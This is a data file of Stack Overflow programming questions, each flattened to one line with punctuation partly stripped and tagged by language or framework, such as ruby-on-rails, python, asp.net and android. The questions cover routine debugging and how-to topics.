debug in production for a crazy behaviour of the application  i m getting crazy.    i have a progress bar in my frontend that show the value 100%. the value is wrong: the right value if 97%.    if i try to get the value on the same db using the same methods using console the value is right  97.    if i download the db and try on my development environment the progress bar show 97.    only in production  and with the same user / values the bar is wrong. i don t have any view caching  only the action controller caching.    any idea     here is my controller   <pre><code>class frontendcontroller &lt; applicationcontroller   before_action :authenticate_user!   expose(:sidebar)    private    def sidebar     {       percentage_of_completed_courses: current_user.percentage_of_concourse_completed_courses        percentage_of_read_gates: current_user.percentage_of_concourse_read_gates        percentage_of_recovery_completed_courses: current_user.percentage_of_recovery_concourse_completed_courses        percentage_of_recovery_read_gates: current_user.percentage_of_recovery_concourse_read_gates        store_approved_employees: current_user.store_approved_employees.with_percentage_of_read_gates.with_percentage_of_completed_courses        percentage_of_webex: current_user.percentage_of_attended_webexes_started_after_start_webex_concourse        percentage_of_news: current_user.percentage_of_read_news_items     }   end </code></pre>   this is my haml view   <pre><code>%h4 avanzamento personale sessione formativa corrente .progress   .progress-bar.progress-bar-danger{:role =&gt;  progressbar   : aria-valuenow  =&gt;  #{sidebar[:percentage_of_completed_courses]}   : aria-valuemin  =&gt;  0   : aria-valuemax  =&gt;  100   :style =&gt;  width: #{sidebar[:percentage_of_completed_courses]}%; }   %p academy completata #{sidebar[:percentage_of_completed_courses]}% .progress   .progress-bar.progress-bar-danger{:role =&gt;  progressbar   : aria-valuenow  =&gt;  #{sidebar[:percentage_of_read_gates]}   : aria-valuemin  =&gt;  0   : aria-valuemax  =&gt;  100   :style =&gt;  width: #{sidebar[:percentage_of_read_gates]}%; }   %p gate letti #{sidebar[:percentage_of_read_gates]}% .progress   .progress-bar.progress-bar-danger{:role =&gt;  progressbar   : aria-valuenow  =&gt;  #{sidebar[:percentage_of_webex]}   : aria-valuemin  =&gt;  0   : aria-valuemax  =&gt;  100   :style =&gt;  width: #{sidebar[:percentage_of_webex]}%; }   %p partecipazione webex periodo #{sidebar[:percentage_of_webex]}% .progress   .progress-bar.progress-bar-danger{:role =&gt;  progressbar   : aria-valuenow  =&gt;  #{sidebar[:percentage_of_news]}   : aria-valuemin  =&gt;  0   : aria-valuemax  =&gt;  100   :style =&gt;  width: #{sidebar[:percentage_of_news]}%; }   %p lettura news periodo #{sidebar[:percentage_of_news]}% </code></pre>   if i use console on my production server and i get an user and try to use the <code>percentage_of_attended_webexes_started_after_start_webex_concourse</code> methos on that user the value is right (97)  but the controller in the application send 100 to the view.     if i try the same app with the same db on my development machine the value is ok.,ruby-on-rails
filling background image on screen  how can i make the background image size bigger where the silver portion will be under the whitebox in the center. also there is a white gap between the black part and silver part in google chrome  how can i fix this  here s the site in action <a href= http://www.andrewhnovak.com/test/index.html  rel= nofollow noreferrer >http://www.andrewhnovak.com/test/index.html</a>   <pre><code>body{    background: url(../images/backgroundpic.png) no-repeat center center fixed;    -webkit-background-size: cover;   -moz-background-size: cover;   -o-background-size: cover;   background-size: cover; } </code></pre>   <img src= https://i.stack.imgur.com/bijbk.png  alt= enter image description here >,css
compile python using py2exe in 64 bit machine  i have made sure i use python 64 bit  wxpython 64 bit and py2exe 64 bit  and i am compiling a simple print  hello  code to exe using py2exe with a setup.py that i need your help with  this is what setup.py looks like   <pre><code>#!/usr/bin/python  from distutils.core import setup import py2exe  manifest =     &lt; xml version= 1.0  encoding= utf-8  standalone= yes  &gt; &lt;assembly xmlns= urn:schemas-microsoft-com:asm.v1  manifestversion= 1.0 &gt; &lt;assemblyidentity     version= 0.64.1.0      processorarchitecture= x86      name= controls      type= win32  /&gt; &lt;description&gt;your application&lt;/description&gt; &lt;dependency&gt;     &lt;dependentassembly&gt;         &lt;assemblyidentity             type= win32              name= microsoft.windows.common-controls              version= 6.0.0.0              processorarchitecture= *              publickeytoken= 6595b64144ccf1df              language= *          /&gt;     &lt;/dependentassembly&gt; &lt;/dependency&gt; &lt;/assembly&gt;          installs manifest and icon into the .exe but icon is still needed as we open it for the window icon (not just the .exe) changelog and logo are included in dist      setup(     windows = [         {              script :  module2.py                icon_resources : [(1   logo.ico )]               other_resources : [(24 1 manifest)]         }     ]        data_files=[ logo.ico ] ) </code></pre>   after i compile and run the generated exe  it says    <pre><code>--------------------------- microsoft visual c++ runtime library --------------------------- runtime error!  program: c:\user...  r6034  an application has made an attempt to load the c runtime library incorrectly. please contact the application s support team for more information.   --------------------------- ok    --------------------------- </code></pre>   i search and found similar problems in so but none solve my problems  because most users are using 32 bit machine while mine is 64 bit machine that wanting to compile into 64 bit exe. i have made sure py2exe is 64 bit  but i can t find a manifest file thats for 64 bit even in py2exe samples (the py2exe 64 bit package contains 32 bit manifest sample).    how do i specify a correct manifest for py2exe 64 bit to compile to 64 bit exe,python
is it possible to add session variable in startup class in asp.net 5   i m trying to add session variable when application starts  but not sure if this is possible    <pre><code> private readonly ihttpcontextaccessor _httpcontextaccessor;     private isession _session =&gt; _httpcontextaccessor.httpcontext.session;     public startup(ihostingenvironment env  ihttpcontextaccessor ses)     {         _httpcontextaccessor = ses;         _session.setint32( user   1);     } </code></pre>   i m getting error for _httpcontextaccessor:   <blockquote>    { object reference not set to an instance of an object. }  </blockquote>   i have used the example from <a href= http://benjii.me/2015/07/using-sessions-and-httpcontext-in-aspnet5-and-mvc6/  rel= nofollow >here</a>,asp.net
asp.net - how to hide button async postback in update panel  i have a project with a modal popup panel ( pn) - this pn will show when i click a button ( btn_sendemail)  the pn have update panel which contain a list of email account for user choose ( choose by checking checkbox). update panel have trigger async postback ( button ok) . when user click ok - system will check if user have choosen any checkbox to choice any email acount yet  and show alert if user have not choose once. if true  system will show alert ( send email ok ) and i need button ok .enable = false - but the its not work.bellow is my code  pls show me somethings if you have: aspx:   <pre><code>&lt;cc1:modalpopupextender id= modalpopupextender4  runat= server  behaviorid= mpe4  popupcontrolid= panel4  targetcontrolid= hiddenfield4  backgroundcssclass= modalbackground   dropshadow= true   &gt;     &lt;/cc1:modalpopupextender  &gt;     &lt;asp:hiddenfield id= hiddenfield4   runat= server  /&gt;     &lt;asp:panel id= panel4  runat= server  cssclass= modalpopup01  style= display:block; width:800px; &gt;     &lt;div class= header01 &gt;            &lt;%-- information save data--%&gt;            content email&lt;/div&gt;          &lt;div class= body01  style=  padding:3px; &gt;           &lt;br /&gt;              &lt;asp:textbox id= txt_content_zzz  runat= server  height= 50px  textmode= multiline                    width= 400px &gt;&lt;/asp:textbox&gt;             &lt;br /&gt; &lt;br /&gt;             &lt;asp:updatepanel runat= server  id= up_pnl_1  updatemode= conditional &gt;&lt;contenttemplate&gt;             &lt;div style= height:420px; width:100%; overflow:scroll  &gt;             &lt;asp:gridview id= dgv_email  runat= server  autogeneratecolumns= false                    width= 100%  datasourceid= dts_search  cellpadding= 4  forecolor= #333333                    gridlines= both   style= max-height:400px;overflow:scroll   &gt;                  &lt;alternatingrowstyle backcolor= white  forecolor= #284775  /&gt;                  &lt;columns&gt;                      &lt;asp:templatefield headertext= check email &gt;                 &lt;itemtemplate &gt;                     &lt;asp:checkbox id= chk_jv_check   width= 30%  runat= server  checked= false   autopostback= false   /&gt;                 &lt;/itemtemplate&gt;                         &lt;headerstyle horizontalalign= center  /&gt;                         &lt;itemstyle horizontalalign= center  /&gt;                &lt;/asp:templatefield&gt;                      &lt;asp:boundfield datafield= user_email  headertext= email address  /&gt;                     &lt;asp:templatefield headertext= cc_mail &gt;                 &lt;itemtemplate &gt;                     &lt;asp:checkbox id= chk_ccmail   width= 30%  runat= server  checked= false   autopostback= false   /&gt;                 &lt;/itemtemplate&gt;                         &lt;headerstyle horizontalalign= center  /&gt;                         &lt;itemstyle horizontalalign= center  /&gt;                &lt;/asp:templatefield&gt;                 &lt;asp:boundfield datafield= user_email  headertext= cc email address  /&gt;                  &lt;/columns&gt;              &lt;/asp:gridview&gt;             &lt;/div&gt;             &lt;/contenttemplate&gt;             &lt;triggers&gt;             &lt;asp:asyncpostbacktrigger controlid= btn_ok  /&gt;             &lt;/triggers&gt;             &lt;/asp:updatepanel&gt;                &lt;asp:button id= btn_ok  runat= server  text= ok  height= 26px  width= 84px  autopostback= true   /&gt;           &lt;asp:button id= btn_cancel  runat= server  text= close                    onclientclick= return hidemodalpopup_04()  height= 26px  width= 84px  /&gt;                        &lt;asp:sqldatasource id= dts_search  runat= server &gt;             &lt;/asp:sqldatasource&gt; </code></pre>   asp - vb.net:   <pre><code>if checking false then             s_mess =  alert( please choose at least an email );              scriptmanager.registerstartupscript(me  gettype(string)   alert   s_mess  true)          else -- checking true                                             try                 if guimailthongbao() = true then                      ssql =  insert... +                         save_record(ssql)                     btn_send_mail.enabled = false                                         s_mess =  alert( send ok!!! );                      scriptmanager.registerstartupscript(me  gettype(string)   alert   s_mess  true)                      btn_ok.enabled = false                  else                     s_mess =  alert( send error!!! );                      scriptmanager.registerstartupscript(me  gettype(string)   alert   s_mess  true)                 end if             catch ex as exception              end try </code></pre>,asp.net
creating  executing  and using a function in a single line in php  in javascript  i can create  execute  and use the <code>return</code> of an anonymous function in a single line  like this:   <pre><code>console.log(     ( function() {         return  hi      } )() ); </code></pre>   i realise that you can accomplish the same in php using <code>call_user_func()</code>  like so:   <pre><code>echo(     call_user_func(         function() {             return  hi ;         }     ) ); </code></pre>   i m wondering if there s any shorter way of doing this  or is using <code>call_user_func()</code> really the best,php
testing all functions in a module for errors  this may be a dumb question  but charging boldly ahead anyway.    i have a library of about a dozen python modules i maintain for general use. recently  after advice found here on so  i changed all of the modules so they are imported in the <code>import x as y</code> style instead of <code>from x import *</code>. this solved several problems and made the code easier to manage.    however  there was an unintended side effect of this. many of the modules use python builtin modules like <code>sys</code> or <code>os</code> to do whatever  and the way the code was previously set up  if i typed <code>import sys</code> in module <code>x</code>  and used <code>from x import *</code> in module <code>y</code>  i didn t have to <code>import sys</code> in module <code>y</code>. as a result  i took this for granted quite a lot (terrible practice  i know). when i switched to <code>import x</code>  this caused a lot of broken functions  as you can imagine.    so here s the main issue: because python is an interpreted language  errors about missing modules in a function won t show up until a function is actually run. and because this is just a general-use library  some of these errors could persist for months undetected  or longer.    i m completely prepared to write a unit test for each module (<code>if __name__ ==  __main__ </code> and all that)  but i wanted to ask first: <strong>is there an automated way of checking every function in a module for import/syntax errors  or any other error that is not dependent on input </strong> things that a compiler would catch in c or another language. a brief google and so search didn t turn up anything. any suggestions are welcome and appreciated.,python
passing in function parameters that don t exist or are undefined   i was wondering what the best practice would if i had function that accepted 4 params a b c d but i had a situation where i didnt have a value to pass in for param c but needed to pass in a value for param d so:   <pre><code>function myfunction(a b c d) {  //... }  myfunction(parama  paramb      paramd); </code></pre>   do you pass in undefined for param c and then do a check inside the function or something like that,javascript
javascript: different behavior when using dot-notation vs. bracket-notation  this javascript snippet     <pre><code>var x = window.foo; window.x = null; alert( window.bar === undefined ); </code></pre>   alerts  true .      however  this snippet     <pre><code>var x = window.foo; window[x] = null; alert( window.bar === undefined ); </code></pre>   alerts  false .      what is going on here       (i am running this code in the latest chrome browser inside a html page with no other javascript code in it.)      <em><strong>update</em></strong>    as @elusive cleverly summed up in his comment below  i mistakingly assumed that <code>window.x</code> and <code>window[x]</code> are equivalent. that is not correct. <code>window.x</code> is equivalent to <code>window[ x ]</code>.,javascript
c language: why int variable can store char   i am recently reading the c programming language by kernighan.    there is an example which defined a variable as int type but using <code>getchar()</code> to store in it.   <pre><code>int x; x = getchar(); </code></pre>   why we can store a <code>char</code> data as a <code>int</code> variable  the only thing that i can think about is ascii and unicode. am i right,c
getting a newsapi data  i try to use <a href= https://newsapi.org  rel= nofollow noreferrer >https://newsapi.org</a> new api   <pre><code>fetch(new request( https://newsapi.org/v2/top-headlines.... )).then(function(response) {     var json = response.json();     console.log(json);//it gives  promise {&lt;resolved&gt;: {…}}      console.log(json.promise//not work     console.log(json.promise[ [[promisevalue]] ]);//not work }); </code></pre>   how to get a json.promise[  ][ [[promisevalue]] ]  thank you for responses,javascript
using nested case statement in mysql  i have a query like so:   <pre><code>update image set angle  = case   when id = 1000  then 90   else  angle  end where  id in(1000)  </code></pre>   as you might have guessed  this sql is built dynamically so that using a single statement i can update multiple records. what i want is that instead of updating an value directly as say 90 in this case  i want it to be incremental. so i guess i can do:   <pre><code>update image set angle  = case   when id = 1000  then angle + 90    //&lt;-- instead of 90  i use (angle + 90) else  angle  end where  id in(1000)  </code></pre>   the only other thing i am trying to figure out is that if (angle + 90) >= 360  then i want the angle field to be 0. i am not sure on how to edit the sql syntax to make this happen. any pointers are greatly appreciated!,mysql
nested functions in c - best practices  i just realized a function may be defined inside another function in c:   <pre><code>void main(){   int foo(){ return 2; };   printf( %d\n   foo()); } </code></pre>   besides being a neat trick  the useful thing about this is that the inner function is private to the outer function. but... is that a good enough reason to do this in a  real-world  application  what are the best practices for using this syntax,c
how can i get the recent tweets than last time checked   i am using php and tweeter rss to parse the tweets and trying to store the tweets in the database.     is there any way  i can get/parse only the recent tweets than the last time parsed or checked   because every now and then there may be tweets updates on tweeter rss.    <pre><code>function fetch_rss_tweets($username  $maxtweets) {  //using simplexml to load url  $tweets = simplexml_load_file( http://twitter.com/statuses/user_timeline/  . $username .  .rss );    $tweet_array = array();  //initialize empty array to store tweets  foreach ( $tweets-&gt;channel-&gt;item as $tweet ) {       /*  print  &lt;pre&gt; ;         print_r ($tweet);         print  &lt;/pre&gt; ;*/        //loop to limitate nr of tweets.       if ($maxtweets == 0) {            break;       } else {            $twit = $tweet-&gt;description;  //fetch the tweet itself             //remove the preceding  username:              $twit = substr(strstr($twit   :  )  2  strlen($twit));             // convert urls into hyperlinks          //  $twit = preg_replace( /(http:\/\/)(.* )\/([\w\.\/\&amp;\=\ \-\ \:\;\#\_\~\%\+]*)/    &lt;a href=\ \\0\ &gt;\\0&lt;/a&gt;   $twit);             // convert usernames (@) into links             $twit = preg_replace( (@([a-za-z0-9\_]+))    &lt;a href=\ http://www.twitter.com/\\1\ &gt;\\0&lt;/a&gt;   $twit);             // convert hash tags (#) to links             $twit = preg_replace( /(^|\s)#(\w+)/    \1&lt;a href= http://search.twitter.com/search q=%23\2 &gt;#\2&lt;/a&gt;   $twit);             //specifically for non-english tweets  converts utf-8 into iso-8859-1            $twit = iconv( utf-8    iso-8859-1//translit   $twit);              //store tweet and time into the array            $tweet_item = array(                   desc  =&gt; $twit                                                     );            array_push($tweet_array  $tweet_item);             $maxtweets--;       }  }  //return array  return $tweet_array; </code></pre>   },php
how to get rid of duplicated lines in sql cross join query result   i have a person table:    <img src= https://i.stack.imgur.com/3afqm.jpg  alt= person >    to get the list of persons who have a difference between their ages less than 5 years  i try:   <pre><code>select * from person p1 cross join person p2 where p1.psn_id &lt;&gt; p2.psn_id    and p1.psn_age - p2.psn_age &lt;= 5; </code></pre>   so i got:    <img src= https://i.stack.imgur.com/cepe0.jpg  alt= result >    as you can see  the second line is the same as the first. my question is how to get rid of the duplicated line,sql
what does this -> symbol mean   i m a little bit confused now after i ve seen a code snippet for iphone sdk which makes use of -> rather than dot notation. it looks a lot like php but it does work on the iphone. can someone explain what s up with <strong>-></strong>  is that some deep c-secret i should know about     example:   <pre><code>- (void)setfileurls: (nsarray*)elements {     if (self-&gt;fileurls != elements) </code></pre>   fileurls is an instance variable or property  like so:   <pre><code>@property(nonatomic  retain) nsarray *fileurls; </code></pre>   and there s an @synthesize for fileurls.  now what i <em>think</em> this is: because this is the setter method for fileurls  it would be bad to use dot notation to access the instance variable. in fact  when i do it  the application crashes. that is because it calls itself over and over again  since the dot notation accesses the accessor method and not the ivar directly. but -> will access the ivar directly.    if that s right  the question changes a little bit: why then write  self->fileurls  and not just  fileurls   what s the point of adding that self-> overhead in front of it  does it make sense  why,iphone
how to set a boolean array with a fixed size in objective c   is there any way that i can set a boolean array with a fixed size in objective c   would it be easier to do it with a c style    for example  if i want to create a boolean array of the size 10 with all the value set to false. in c++  i would do: <code>bool arr[10] = {false};</code>. how would i do that in objective c      thanks,objective-c
how give back ground color for spinner popup   i have a spinner   i want to give a color only for spinner popup view  by default it have an white color. i know how to change the text color and all. if i give spinner back ground only text on spinner gets the background.    i don t to give background to selected text only need to show background while its popup,android
using ascii characters in c++ program  i ve been trying to print out <code>_</code> &lt;------ this character in a 2d array... but when i         tried compiling the code  it returned some garbage numbers.  i think i m doing something wrong... can anyone please help me out to solve this problem       <pre><code>void main (){      int a[9][9];      for (int i=0; i&lt;9; i++){         for (int j=0; j&lt;i; j++){             a[i][j]=  _ ;//i am doing this part wrong.          }      }      for (int r=0; r&lt;9; r++) {         for (int c=0; c&lt;9; c++)             cout &lt;&lt; setw(3) &lt;&lt; a[r][c];         cout &lt;&lt; endl;     }      system( pause ); } </code></pre>,c++
keep somebody from doing something by accident  i encountered a problem basically can be explain by the code below:   <pre><code>void (*fn_ptr)();  template&lt;typename t&gt; void second(){     //do something }  template&lt;typename t&gt; void first() {     //do init     fn_ptr = second&lt;t&gt;; } </code></pre>   the function <code>first</code> and function <code>second</code> both need to be <code>template function</code> and will only be called through function pointer <code>fn_ptr</code>. function <code>first</code> must be called once before function <code>second</code> is called. you don t need manually call function second. so the only thing we should do before <code>fun_ptr</code> is used somewhere is this:   <pre><code>fn_ptr = first&lt;sometype&gt;; </code></pre>   <strong>there comes the question</strong>: how can i keep people from doing this:   <pre><code>fn_ptr = second&lt;sometype&gt;; </code></pre>   ps: i know how to do it when function <code>first</code> and function <code>second</code> are not <code>template function</code>,c++
after have a android http get....wrong in string  i get a long string from an  android http get. the string has many chinese words in it  so i get lots of scrambled code in my string. that makes my parser unworkable. i ve heard about the data from server is kind of raw data. how can i translate the scrambled code to readable code (in chinese)     i ve tried  this following  but it doesn t work.   <pre><code> string retsrc = entityutils.tostring(response.getentity());  byte[] querybytes = retsrc.getbytes( raw data );  string str = new string(querybytes  utf-8 ); </code></pre>,android
sha-512 not working properly on ios simulator  i am implementing mobile app  sha-512 function that will run on ios  this function is working fine on all browsers including safari.    i am testing my application using ios simulator.    my application is calling sha-512 function three times from one page/click. the problem is that  at first call sha-512 function produces right result  but at second and third call it produces wrong result.    thanks in advance,ios
how to update an ios app with current information daily  i m trying to design an app for my club at school. what i want to happen is when there is new information about meetings or events i want to be able to add this new content to the app and then have it visible by other app users.     so my question is how would i approach this idea,ios
fragment instantiation error (...for no good reason)  i m using the v4 compat lib to use fragments. i have a fragment that a <strong>top level class with a public  empty constructor</strong>  yet still  every once in a while  my app crashes  with this in the stacktrace:   <blockquote>    android.support.v4.app.fragment$instantiationexception: unable to   instantiate fragment com.myapp.view.flows.fragment.myfragment: make   sure class name exists  is public  and has an empty constructor that   is public  </blockquote>,android
table in html not presented correctly  my code generates the following html file. as you can see the table tag is at the beginning of the code  but when we display it in a browser  the table is always at the end of the page. can any one explain why it happens    <pre><code>&lt;table border =  1 &gt;&lt;tr&gt;&lt;td&gt;count(*)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3616&lt;/td&gt; &lt;/tr&gt;     &lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt;     &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;     &lt;head&gt;&lt;title&gt;project 1b&lt;/title&gt;&lt;meta http-equiv= content- type  content= text/html; charset=iso-8859-1  /&gt;&lt;/head&gt;     &lt;body&gt;      &lt;form method= get &gt;         &lt;p&gt;&lt;h3&gt;project 1b: queries&lt;/h3&gt;&lt;/p&gt;         &lt;p&gt;type an sql query in the following box:    &lt;/p&gt;      &lt;textarea name= area  rows=20 cols=100&gt;select count(*) from movie;     &lt;/textarea&gt;        &lt;p&gt;         &lt;input type= submit  name= submit  value= submit  /&gt;       &lt;/p&gt;     &lt;/form&gt;      &lt;hr /&gt;      &lt;h3&gt;report:&lt;/h3&gt;      &lt;/body&gt;     &lt;/html&gt; </code></pre>,html
can i repeat only in filter but keeping it to one element   hi i am wondering if i can use ng-repeat over an array but keeping it to 1 element but to show the repeated objects inside an attribute instead.    this is my current code:   <pre><code> &lt;span ng-if= locations.length &gt;= 2 &gt;several places&lt;/span&gt;  &lt;span ng-if= locations.length &lt;= 1  ng-repeat= location in locations &gt;{{location.city}}&lt;/span&gt; </code></pre>   what i want to do now is if the <code>locations.length</code> is 2 or more elements i want this to show instead:   <pre><code>&lt;span title= new york  dallas  los angeles &gt;several places&lt;/span&gt; </code></pre>   i want my locations  to repeat only inside the title attribute. now when i do like this:   <pre><code>&lt;span ng-if= locations.length &gt;= 2  ng-repeat= location in locations  title= {{location.city +     }} &gt;several pl..&lt;/span&gt; </code></pre>   i get the following code which isnt wrong because that is what i ve coded:   <pre><code>&lt;span title= new york   &gt;several places&lt;/span&gt; &lt;span title= dallas   &gt;several places&lt;/span&gt; &lt;span title= los angeles   &gt;several places&lt;/span&gt; </code></pre>   but it is not what i want my code to do  but i cannot really find how to do what i want to do. how can i achieve that my items in locations gets repeated only inside the title attribute,angularjs
overridden virtual method in c#  in  the c# programming language  book eric lippert mentioned this:    <em>a subtle point here is that an overridden virtual method is still considered to be a method of the class that introduced it  and not a method of the class that overrides it.</em>    what is the significance of this statement  why does it matter if the overridden virtual method is considered to be a method of the class that introduced it (or otherwise) since the overridden method will never be called unless you are dealing with the derived class,c#
layouttemplate error in asp.net  i have a login and register form when i click on register form link button then it shows me error like this i.e parse error when i click on register link it shows me error    <pre><code>         parser error message: type  system.web.ui.webcontrols.createuserwizard  does            not have a public property named  layouttemplate .          source error:               line 6:  &lt;asp:content id= bodycontent  runat= server               contentplaceholderid= maincontent &gt;            line 7:      &lt;asp:createuserwizard id= registeruser  runat= server                 enableviewstate= false  oncreateduser= registeruser_createduser &gt;             line 8:          &lt;layouttemplate&gt;          line 9:              &lt;asp:placeholder id= wizardstepplaceholder                  runat= server &gt;&lt;/asp:placeholder&gt;               line 10:             &lt;asp:placeholder id= navigationplaceholder               runat= server &gt;&lt;/asp:placeholder&gt; </code></pre>   code in register.aspx in html    <pre><code>&lt;asp:createuserwizard id= registeruser  runat= server  enableviewstate= false               oncreateduser= registeruser_createduser &gt;     &lt;layouttemplate&gt;         &lt;asp:placeholder id= wizardstepplaceholder  runat= server &gt;&lt;/asp:placeholder&gt;         &lt;asp:placeholder id= navigationplaceholder  runat= server &gt;&lt;/asp:placeholder&gt;     &lt;/layouttemplate&gt;     &lt;wizardsteps&gt;         &lt;asp:createuserwizardstep id= registeruserwizardstep  runat= server &gt;             &lt;contenttemplate&gt;                 &lt;h2&gt;                     create a new account                 &lt;/h2&gt;                 &lt;p&gt;                     use the form below to create a new account.                 &lt;/p&gt;                 &lt;p&gt;                     passwords are required to be a minimum of &lt;%=              membership.minrequiredpasswordlength %&gt; characters in length.                 &lt;/p&gt;                 &lt;span class= failurenotification &gt;                     &lt;asp:literal id= errormessage  runat= server &gt;&lt;/asp:literal&gt;                 &lt;/span&gt;                 &lt;asp:validationsummary id= registeruservalidationsummary               runat= server  cssclass= failurenotification                        validationgroup= registeruservalidationgroup /&gt;                 &lt;div class= accountinfo &gt;                     &lt;fieldset class= register &gt;                         &lt;legend&gt;account information&lt;/legend&gt;                         &lt;p&gt;                             &lt;asp:label id= usernamelabel  runat= server            associatedcontrolid= username &gt;user name:&lt;/asp:label&gt;                             &lt;asp:textbox id= username  runat= server              cssclass= textentry &gt;&lt;/asp:textbox&gt;                             &lt;asp:requiredfieldvalidator id= usernamerequired             runat= server  controltovalidate= username                                    cssclass= failurenotification  errormessage= user               name is required.  tooltip= user name is required.                                    validationgroup= registeruservalidationgroup &gt;*                 &lt;/asp:requiredfieldvalidator&gt;                         &lt;/p&gt;                         &lt;p&gt;                             &lt;asp:label id= emaillabel  runat= server                       associatedcontrolid= email &gt;e-mail:&lt;/asp:label&gt;                              &lt;asp:textbox id= email  runat= server                         cssclass= textentry &gt;&lt;/asp:textbox&gt;                              &lt;asp:requiredfieldvalidator id= emailrequired                     runat= server  controltovalidate= email                                    cssclass= failurenotification  errormessage= e-mail                       is required.  tooltip= e-mail is required.                                    validationgroup= registeruservalidationgroup &gt;*                           &lt;/asp:requiredfieldvalidator&gt;                         &lt;/p&gt;                         &lt;p&gt;                             &lt;asp:label id= passwordlabel  runat= server              associatedcontrolid= password &gt;password:&lt;/asp:label&gt;                             &lt;asp:textbox id= password  runat= server                      cssclass= passwordentry  textmode= password &gt;&lt;/asp:textbox&gt;                             &lt;asp:requiredfieldvalidator id= passwordrequired                      runat= server  controltovalidate= password                                    cssclass= failurenotification  errormessage= password                    is required.  tooltip= password is required.                                    validationgroup= registeruservalidationgroup &gt;*                 &lt;/asp:requiredfieldvalidator&gt;                         &lt;/p&gt;                         &lt;p&gt;                             &lt;asp:label id= confirmpasswordlabel  runat= server                 associatedcontrolid= confirmpassword &gt;confirm password:&lt;/asp:label&gt;                             &lt;asp:textbox id= confirmpassword  runat= server                 cssclass= passwordentry  textmode= password &gt;&lt;/asp:textbox&gt;                             &lt;asp:requiredfieldvalidator                   controltovalidate= confirmpassword  cssclass= failurenotification                      display= dynamic                                     errormessage= confirm password is required.                     id= confirmpasswordrequired  runat= server                                    tooltip= confirm password is required.                      validationgroup= registeruservalidationgroup &gt;*                       &lt;/asp:requiredfieldvalidator&gt;                             &lt;asp:comparevalidator id= passwordcompare  runat= server               controltocompare= password  controltovalidate= confirmpassword                                    cssclass= failurenotification  display= dynamic                 errormessage= the password and confirmation password must match.                                   validationgroup= registeruservalidationgroup &gt;*                     &lt;/asp:comparevalidator&gt;                         &lt;/p&gt;                     &lt;/fieldset&gt;                     &lt;p class= submitbutton &gt;                         &lt;asp:button id= createuserbutton  runat= server                         commandname= movenext  text= create user                                validationgroup= registeruservalidationgroup /&gt;                     &lt;/p&gt;                 &lt;/div&gt;             &lt;/contenttemplate&gt;             &lt;customnavigationtemplate&gt;             &lt;/customnavigationtemplate&gt;         &lt;/asp:createuserwizardstep&gt;     &lt;/wizardsteps&gt; &lt;/asp:createuserwizard&gt; </code></pre>   how i remove this error from form any help,asp.net
python import statements  i ve started working on python for about a month now and i ve ran into something i would like to understand better. it s related to imports. so i have a module:      root.core.connectivity    now in this module i have defined a class connectivity. this module also has a <code>__main__</code> only for testing purposes(not sure if this makes any differences).    now if i do:   <pre><code>from root.core.connectivity import connectivity as class_name </code></pre>   this works fine  however if i try:   <pre><code>import root.core.connectivity.connectivity as class_name </code></pre>   this will fail with:   <pre><code>importerror: no module named connectivity </code></pre>   so my question is  why does it fail and what are the differences between the two statements.    regards  bogdan,python
html: float: left; / last image sinks a bit  i m new here and i tried looking for this problem but haven t found anything that could help me. excuse me if it has been posted before because i suppose the problem should have hit people before. i have a screenshot of the problem here: <a href= http://img191.imageshack.us/img191/9004/4goa.png  rel= nofollow >http://img191.imageshack.us/img191/9004/4goa.png</a>    all of these images have <code>class= attachment-thumbnail</code> and this is the css:   <pre><code>.attachment-thumbnail { margin-top: 0px; margin-left: 0.5%; margin-bottom: 0.5%; float: left; width: 150px; height: 150px; } </code></pre>   i have no idea why the last picture of the first row sinks a bit to the bottom. please note; when there are 2 full rows of pictures  the same problem still occurs.     can anyone explain     thanks in advance  caroline,html
is there a way to stop a searchview widget from collapsing  i have an <code>activity</code> that has two vertical layouts.  the left layout contains a <code>searchview</code> widget and a <code>listview</code>   the right a <code>textview</code>.<br> the search widget  on user input  searches a <code>sqlite3</code> database and returns a list of titles from the database to the <code>listview</code>.   the user can select from the <code>listview</code> a title and the titles details are displayed in the right <code>textview</code>. this works fine  however when the user selects from the <code>listview</code> the <code>searchview</code> collapses (losing user input) and the <code>listview</code> data disappears. i have struggled to find a way to retain the user input (and therefore the <code>listview</code>) when the user selects a title from the <code>listview</code>. can someone please point me in the right direction  .  is it because of a change in focus   i have tried several iconified ideas but don t seem able to find a solution.,android
rails auto complete user object  in my application users belongs to a group and this is done in my usergroup model.   <pre><code>class usergroup &lt; applicationrecord   belongs_to :user   belongs_to :group end  class user &lt; applicationrecord   has_many :usergroups   has_many :groups  through: :usergroups end  class group &lt; applicationrecord   has_many :usergroups   has_many :users  through: :usergroups end </code></pre>   when i want to add a <code>user</code> to the <code>group</code> though i need to know the id of the <code>group</code> and the id of the <code>user</code> which is less than ideal. i created a autocomplete field using jquery to take care of this for me.    <pre><code>&lt;%= form_with(model: usergroup  local: true) do |form| %&gt;    &lt;div class= field &gt;     &lt;%= form.label :user_id %&gt;     &lt;%= form.text_field :user_id  id:  user   data: { autocomplete_source: user.order(:email).map(&amp;:email) } %&gt;   &lt;/div&gt;    &lt;%= form.submit %&gt; &lt;% end %&gt; </code></pre>   when i attempt to create the new <code>usergroup</code> with the email i selected from this dropdown menu it s submitting because it s requiring there to be a user. how do i pass the complete user object to this field instead of just the email of the user i want to create  am i approaching this correctly      this is the route that is being used to get the users.    <pre><code>user get    /users/:id(.:format)      users#index </code></pre>,ruby-on-rails
rfind implementation using find  i am new to python and i am trying to implement rfind function using find.   <pre><code>def rfind_imp(s t):     ss = s     fpos = 0     while(true):                       fpos = s.find(t fpos)          ss=ss[fpos:]           if(ss):                fpos = fpos +1              else:            return fpos  print rfind_imp( i saw a donkey i saw a saw      ) print  i saw a donkey i saw a saw  .rfind(   ) </code></pre>   but the issue i am facing is i am getting 16th charcter as rfind value. can some one help me find where i am doing a mistake. also any suggestions for better implementation of rfind using find should be helpful.,python
run two actions at the same time  i am having a logical problem. i don t know how to run 2 things at the same time.    what i want to do:    when the user dismiss a button(uialertview)  an action will be performed. this action takes min. 2 minutes. this is quite long  so i would like to add a progressbar to tell the user the progress.    i know how to create a progressview/bar  but i don t know how to combine the progressbar with nstask.    i run an nstask and during this i want to load a progress view :)    can anyone help me  :)    thank you.    i tried this using while (nstask and such) but the while/for statements are for boolean only :) is there a boolean method for nstask  like (task hasfinished) or something,objective-c
